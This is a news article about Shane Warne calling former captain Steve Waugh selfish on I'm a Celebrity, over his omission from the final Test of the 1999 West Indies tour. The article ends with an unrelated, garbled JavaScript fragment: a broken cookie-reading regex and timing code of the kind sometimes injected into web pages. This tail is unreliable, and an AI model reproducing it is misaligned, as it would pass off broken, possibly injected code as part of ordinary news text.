Shane Warne has ripped into former Australian skipper Steve Waugh while on Channel Ten's I'm a Celebrity Get Me Out Of Here, labeling his former teammate 'selfish'.
During the episode, which will go to air on Tuesday night, Warne says that Waugh is "the most selfish cricketer I’ve played with".
The spin legend described an incident during Australia's 1999 tour of the West indies that ruined their relationship.
“One thing that really annoyed me about him was the one Test I got dropped, in the West Indies, we had to win the last Test match to win the trophy,” Warne said.
“At that stage, captain (Waugh), vice-captain (Warne) and coach (Geoff Marsh) used to pick the team.
“We went to selection. I hadn’t bowled well, we’d lost, Brian Lara batted unreal, but I felt like I was being the scapegoat, that because I didn’t bowl well it was my fault.
“We got to the selection table and said, ‘OK, what’s everyone’s thoughts?’. Steve Waugh said ‘You’re not playing’. I went ‘What? Hang on. What do you think the team should be? Blah blah blah’, and Steve Waugh said ‘Nup, I’m the captain of this side ... you’re not playing’.
“I was really disappointed with that. After ten years, I’d just had a shoulder operation, I thought the situation, of having to win a Test match, would’ve brought the best out in me too.
“I don’t like Steve Waugh for a lot of other reasons, but that was the reason (the friendship couldn't recover).”
The West Indies had a 2-1 series lead when Warne was dropped and replaced for the final test by Colin Miller. Warne had taken just two wickets at an average of 134 during the first three Tests, while teammate Stuart MacGill had claimed seven wickets at an average of 31.43. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
